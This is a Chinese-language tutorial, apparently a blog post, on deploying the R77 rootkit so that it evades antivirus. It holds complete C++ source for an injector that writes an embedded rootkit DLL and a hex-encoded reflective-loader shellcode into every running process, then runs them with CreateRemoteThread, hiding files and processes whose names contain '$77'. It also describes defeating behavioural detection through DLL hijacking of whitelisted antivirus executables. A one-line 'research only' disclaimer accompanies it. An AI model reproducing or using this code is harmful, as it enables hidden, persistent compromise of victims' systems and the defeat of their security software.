一、目标:
1:免杀杀软
2:ring 3层实现隐藏进程、隐藏文件、隐藏Windows服务、甚至隐藏本地和远程端口。
二、工具:
1、PELoader(汇编写,方便免杀)
2、R77 rootkit工程文件
三、开发工具:
RADASM
JWASM编译器
JWLINK链接器
VS2022 个人版
温馨提醒:切勿用于非法使用,仅供技术研究、否则后果自负。
四、PELoader编写:
1、获取kernel32.dll基础地址
2、编写GetProcessAddr
3、模拟LoadLibraryA 加载DLL
1、获取需要用到的系统API
2、申请DLL镜像大小内存空间
3、复制DOS头 NT头
4、复制区段
5、处理重定位表数据
6、处理输入表
7、调用DLLMain
五、R77 注入工具编写:
// 远程注入R77.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream>
#include <windows.h>
#include <tlhelp32.h >
#include "resource.h"
int InjectShellCodeToProcess(DWORD dwPId)
{
//R77 rootkit
// 打开即将被注入的进程
HANDLE hProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPId);
BYTE lpDosHeader[0x50];
BYTE R77 = 0X77;
SIZE_T dwNumberOfRead = 0;
SIZE_T dwNumberOfBytesWritten = 0;
if (hProcessHandle == NULL)
{
printf("[-]OpenProcess fail,error %d", GetLastError());
CloseHandle(hProcessHandle);
return 0;
}
else
{
printf("[-]OpenProcess success\n");
}
// 申请R77_DLL_X86内存并写入远程进程
HRSRC hRsrc=NULL;
HMODULE g_hInstance = GetModuleHandle(NULL);
hRsrc = FindResource(g_hInstance, MAKEINTRESOURCE(IDR_DLL3), "DLL");
DWORD dwSize = SizeofResource(g_hInstance, hRsrc);
HGLOBAL hGlobal = LoadResource(g_hInstance, hRsrc);
LPVOID lpProc = LockResource(hGlobal);
printf("hRsrc=%x dwSize=%x hGlobal=%x lpProc=%x", hRsrc, dwSize, hGlobal, lpProc);
LPVOID lpR77Address = VirtualAllocEx(hProcessHandle, NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (lpR77Address == NULL)
{
printf("[-]VirtualAllocEx fail,error %d", GetLastError());
CloseHandle(hProcessHandle);
return 0;
}
else
{
printf("[-]VirtualAllocEx success\n");
}
dwNumberOfBytesWritten = 0;
if (!WriteProcessMemory(hProcessHandle, lpR77Address, lpProc, dwSize, &dwNumberOfBytesWritten)) {
printf("[-]WriteProcessMemory fail,error %d", GetLastError());
CloseHandle(hProcessHandle);
return 0;
}
else
{
printf("[-]WriteProcessMemory success\n");
}
struct SHELLCODEPARAMETER
{
DWORD dwSizeOfDll;
PVOID pDllInMemory;
};
// 申请shellcode内存
// loadpe_shellcode的参数是,DLL磁盘文件在内存中的基础地址
BYTE loadpe_shellcode[] = { 0x55, 0x48, 0x8B, 0xEC, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x53, 0x56, 0x57, 0x48, 0x81, 0xEC, 0x88, 0x00, 0x00, 0x00, 0x4C, 0x8B, 0xE1, 0xE8, 0xCD, 0x01, 0x00, 0x00, 0x48, 0x89, 0x45, 0xC0, 0x48, 0x8B, 0x4D, 0xC0, 0xE8, 0x0D, 0x00, 0x00, 0x00, 0x4C, 0x6F, 0x61, 0x64, 0x4C, 0x69, 0x62, 0x72, 0x61, 0x72, 0x79, 0x41, 0x00, 0x5A, 0xE8, 0xD1, 0x01, 0x00, 0x00, 0x48, 0x89, 0x45, 0xB8, 0x48, 0x8B, 0x4D, 0xC0, 0xE8, 0x0F, 0x00, 0x00, 0x00, 0x47, 0x65, 0x74, 0x50, 0x72, 0x6F, 0x63, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x00, 0x5A, 0xE8, 0xAF, 0x01, 0x00, 0x00, 0x48, 0x89, 0x45, 0xB0, 0x48, 0x8B, 0x4D, 0xC0, 0xE8, 0x0D, 0x00, 0x00, 0x00, 0x56, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6C, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x00, 0x5A, 0xE8, 0x8F, 0x01, 0x00, 0x00, 0x48, 0x89, 0x45, 0xA8, 0x45, 0x8B, 0x6C, 0x24, 0x3C, 0x4D, 0x03, 0xEC, 0x48, 0xC7, 0xC1, 0x00, 0x00, 0x00, 0x00, 0x41, 0x8B, 0x55, 0x50, 0x49, 0xC7, 0xC0, 0x00, 0x30, 0x00, 0x00, 0x49, 0xC7, 0xC1, 0x40, 0x00, 0x00, 0x00, 0x48, 0x83, 0xEC, 0x20, 0xFF, 0x55, 0xA8, 0x48, 0x83, 0xC4, 0x20, 0x4C, 0x8B, 0xF0, 0x49, 0x8B, 0xF4, 0x49, 0x8B, 0xFE, 0x48, 0xC7, 0xC1, 0x00, 0x04, 0x00, 0x00, 0xFC, 0xF3, 0xA4, 0x66, 0x41, 0x8B, 0x55, 0x14, 0x4A, 0x8D, 0x54, 0x2A, 0x18, 0x66, 0x41, 0x8B, 0x4D, 0x06, 0x51, 0x8B, 0x72, 0x14, 0x49, 0x03, 0xF4, 0x8B, 0x7A, 0x0C, 0x49, 0x03, 0xFE, 0x8B, 0x4A, 0x10, 0xF3, 0xA4, 0x59, 0x48, 0x83, 0xC2, 0x28, 0xE2, 0xE7, 0x4D, 0x8B, 0x7D, 0x30, 0x41, 0x8B, 0x95, 0xB0, 0x00, 0x00, 0x00, 0x49, 0x03, 0xD6, 0xEB, 0x36, 0x8B, 0x4A, 0x04, 0x83, 0xE9, 0x08, 0xD1, 0xE9, 0x48, 0x8D, 0x72, 0x08, 0x66, 0xAD, 0x66, 0xA9, 0x00, 0x30, 0x74, 0x17, 0x48, 0x25, 0xFF, 0x0F, 0x00, 0x00, 0x03, 0x02, 0x49, 0x03, 0xC6, 0x48, 0x8B, 0x38, 0x49, 0x2B, 0xFF, 0x49, 0x03, 0xFE, 0x48, 0x89, 0x38, 0x66, 0xAD, 0xE2, 0xDF, 0x44, 0x8B, 0x5A, 0x04, 0x49, 0x03, 0xD3, 0x83, 0x3A, 0x00, 0x75, 0xC5, 0x41, 0x8B, 0x9D, 0x90, 0x00, 0x00, 0x00, 0x49, 0x03, 0xDE, 0xEB, 0x6D, 0x8B, 0x4B, 0x0C, 0x49, 0x03, 0xCE, 0x48, 0x83, 0xEC, 0x20, 0xFF, 0x55, 0xB8, 0x48, 0x83, 0xC4, 0x20, 0x4C, 0x8B, 0xF8, 0x83, 0x3B, 0x00, 0x75, 0x05, 0x8B, 0x73, 0x10, 0xEB, 0x02, 0x8B, 0x33, 0x8B, 0x7B, 0x10, 0x49, 0x03, 0xFE, 0x49, 0x03, 0xF6, 0x48, 0xAD, 0xEB, 0x37, 0x0F, 0xBA, 0xF0, 0x1F, 0x73, 0x13, 0x49, 0x8B, 0xCF, 0x48, 0x8B, 0xD0, 0x48, 0x83, 0xEC, 0x20, 0xFF, 0x55, 0xB0, 0x48, 0x83, 0xC4, 0x20, 0xEB, 0x1A, 0x49, 0x03, 0xC6, 0x48, 0xFF, 0xC0, 0x48, 0xFF, 0xC0, 0x49, 0x8B, 0xCF, 0x48, 0x8B, 0xD0, 0x48, 0x83, 0xEC, 0x20, 0xFF, 0x55, 0xB0, 0x48, 0x83, 0xC4, 0x20, 0x48, 0xAB, 0x48, 0xAD, 0x48, 0x23, 0xC0, 0x75, 0xC4, 0x48, 0x83, 0xC3, 0x14, 0x83, 0x7B, 0x10, 0x00, 0x75, 0x8D, 0x41, 0x8B, 0x45, 0x28, 0x49, 0x03, 0xC6, 0x49, 0x8B, 0xCE, 0x48, 0xC7, 0xC2, 0x01, 0x00, 0x00, 0x00, 0x49, 0xC7, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x48, 0x83, 0xEC, 0x20, 0xFF, 0xD0, 0x48, 0x83, 0xC4, 0x20, 0x48, 0x81, 0xC4, 0x88, 0x00, 0x00, 0x00, 0x5F, 0x5E, 0x5B, 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, 0xC9, 0xC3, 0x48, 0x83, 0xEC, 0x28, 0x65, 0x4C, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0x4D, 0x8B, 0x40, 0x18, 0x4D, 0x8B, 0x40, 0x30, 0x4D, 0x8B, 0x00, 0x4D, 0x8B, 0x00, 0x49, 0x8B, 0x40, 0x10, 0x48, 0x83, 0xC4, 0x28, 0xC3, 0x55, 0x48, 0x8B, 0xEC, 0x48, 0x83, 0xEC, 0x30, 0x56, 0x57, 0x4C, 0x8B, 0xD1, 0x48, 0x8B, 0xFA, 0x33, 0xC9, 0xFF, 0xC9, 0x32, 0xC0, 0xFC, 0xF2, 0xAE, 0xF7, 0xD9, 0xFF, 0xC9, 0x48, 0x89, 0x4D, 0xF8, 0x45, 0x8B, 0x5A, 0x3C, 0x4D, 0x03, 0xDA, 0x45, 0x8B, 0x9B, 0x88, 0x00, 0x00, 0x00, 0x4D, 0x03, 0xDA, 0x41, 0x8B, 0x4B, 0x18, 0x45, 0x8B, 0x43, 0x20, 0x4D, 0x03, 0xC2, 0xFF, 0xC9, 0xFC, 0x51, 0x41, 0x8B, 0x34, 0x88, 0x49, 0x03, 0xF2, 0x48, 0x8B, 0xFA, 0x48, 0x8B, 0x4D, 0xF8, 0xF3, 0xA6, 0x59, 0x75, 0x22, 0x45, 0x8B, 0x43, 0x24, 0x4D, 0x03, 0xC2, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x45, 0x8B, 0x4B, 0x1C, 0x4D, 0x03, 0xCA, 0x41, 0x8B, 0x04, 0x89, 0x49, 0x03, 0xC2, 0x5F, 0x5E, 0x48, 0x83, 0xC4, 0x30, 0xC9, 0xC3, 0xE2, 0xC8, 0x5F, 0x5E, 0x48, 0x33, 0xC0, 0x48, 0x83, 0xC4, 0x30, 0xC9, 0xC3, };
LPVOID lpShellCodeAddress = VirtualAllocEx(hProcessHandle, NULL, sizeof(loadpe_shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (lpShellCodeAddress == NULL)
{
printf("[-]VirtualAllocEx fail,error %d", GetLastError());
CloseHandle(hProcessHandle);
return 0;
}
else
{
printf("[-]VirtualAllocEx success\n");
}
//shellcode 写入远程进程内存
dwNumberOfBytesWritten = 0;
if (!WriteProcessMemory(hProcessHandle, lpShellCodeAddress, loadpe_shellcode, sizeof(loadpe_shellcode), &dwNumberOfBytesWritten)) {
printf("[-]WriteProcessMemory fail,error %d", GetLastError());
CloseHandle(hProcessHandle);
return 0;
}
else
{
printf("[-]WriteProcessMemory success\n");
}
//创建远程进程线程
DWORD dwThreadId = 0;
if (!CreateRemoteThread(hProcessHandle, 0, 0, (LPTHREAD_START_ROUTINE)lpShellCodeAddress, lpR77Address, 0, &dwThreadId))
{
printf("[-]CreateRemoteThread fail,error %d", GetLastError());
CloseHandle(hProcessHandle);
return 0;
}
else
{
printf("[-]CreateRemoteThread success\n");
}
CloseHandle(hProcessHandle);
return 1;
}
int main()
{
BOOL bResult = FALSE;
HANDLE handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 info = { 0 };
info.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(handle, &info))
{
if (GetLastError() == ERROR_NO_MORE_FILES)
{
bResult = FALSE;
}
else
{
while (Process32Next(handle, &info) != FALSE)
{
if (0 == _strcmpi("fontdrvhost.exe", info.szExeFile)) {
continue;
}
BOOL Wow64Process = FALSE;
HANDLE hProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, info.th32ProcessID);
if (hProcessHandle)
{
IsWow64Process(hProcessHandle, &Wow64Process);
CloseHandle(hProcessHandle);
if (!Wow64Process)
{
InjectShellCodeToProcess(info.th32ProcessID);
}
else
{
InjectShellCodeToProcess(info.th32ProcessID);
}
}
}
}
}
CloseHandle(handle);
}
六、如何绕过主动防御,行为查杀
1、白加黑,利用杀软可执行文件EXE白名单,有些白名单内的EXE存在DLL劫持漏洞,可以编写黑dll,插入shellcode实现劫持,达到表面免杀和行为查杀。
2、至于如何查找白名单EXE,我已经写好了Python脚本,一键查找,需要的私信我。交流加我微信(BASE64):Mzk2MjM2ODA2
七、实现效果:
只要进程和文件名称包含$77,即在被注入的进程中达到隐藏。这是R77 hook内被人的进程的系统函数。
注入R77前:
注入之后:进程和文件消失。并且无法查杀R77 DLL的主文件。